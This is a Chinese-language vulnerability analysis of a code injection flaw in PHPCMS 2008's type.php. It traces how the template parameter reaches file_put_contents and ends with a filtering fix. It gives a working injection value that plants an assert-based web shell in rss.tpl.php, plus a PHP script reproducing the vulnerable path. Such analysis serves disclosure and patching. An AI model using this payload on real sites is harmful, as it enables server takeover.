简介
PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。phpcms2008老版本type.php存在代码注入可直接getshell。
影响版本
phpcms 2008
漏洞分析
漏洞的位置位于type.php 中,在此文件当中包含template 变量,template 变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template() 方法。
跟进template() 方法当中,方法把module,template和istag 一同传入了template_compile() 方法当中 继续跟入,进入template_compile() 方法
我们可以发现,template 变量被传入了文件创建的文件名和内容当中造成了漏洞。接下来,我们就详细分析一下此方法。
首先,将template 传入tplfile 中,然后读取tpfile 文件的内容至content 中,如果读取失败,则弹出消息tpfile 不存在。然后将template 变量放入文件路径compiledtplfile 中,在这里表示着我们可以控制这个文件的位置。然后就是将前面的content 和template 一起传入content 中,构建这个文件的内容,然后使用file_put_contents() 来创建这个文件。
这个方法的作用大致就是如此,这个方法最重要的地方在于content 的部分,我们详细看content 部分 首先这部分为一个三目运算符,对($istag || substr($template, 0, 4) == 'tag_') 进行判断,如果为true ,则执行'<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' ,如果为false ,则执行template_parse($content) ,前面的true中有$template ,所以我们要控制这个条件为true,然后受我们控制的变量就进入了content 当中成了文件内容,而$istag 这个条件在这个方法中默认为0,直接为false,所以我们需要让substr($template, 0, 4) == 'tag_'
构造template 变量template = tag_(){};@unlink(_FILE_);assert($_POST[1]);{//..\rss
自己根据这个方法写了一段代码,查看变量在方法中传递的时候的变化,相关代码如下
<?php
$template = $_GET["template"];
echo('template='.$template."<br />"."<br />");
$tplfile = 'E:\phpstudy_pro'.'\\'.'www'.'\\'.$template.'.html';
echo('tplfile='.$tplfile."<br />"."<br />");
$content = @file_get_contents($tplfile);
echo('content='.$content."<br />");
if($content === false) echo("$tplfile is not exists!");
$compiledtplfile = 'E:\phpstudy_pro\www\test'.'_'.$template.'.tpl.php';
echo("<br />"."<br />".'compiledtplfile='.$compiledtplfile."<br />"."<br />");
$content=(substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
echo("<br />"."content=".$content);
$strlen = file_put_contents($compiledtplfile,$content);
@chmod($compiledtplfile,0777);
function template_parse($str, $istag = 0)
{
$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
if(!$istag) $str = "defined('IN_PHPCMS') or exit('Access Denied');".$str;
return $str;
}
?>
我们可以看到最后我们构造的$_POST[1]也传递进入文件当中,文件存放于当前目录的上一层,命名为rss.tpl.php
修复建议
手动过滤$template参数,避免输入{ (这类字符被当作路径和脚本内容处理以及一些敏感参数
|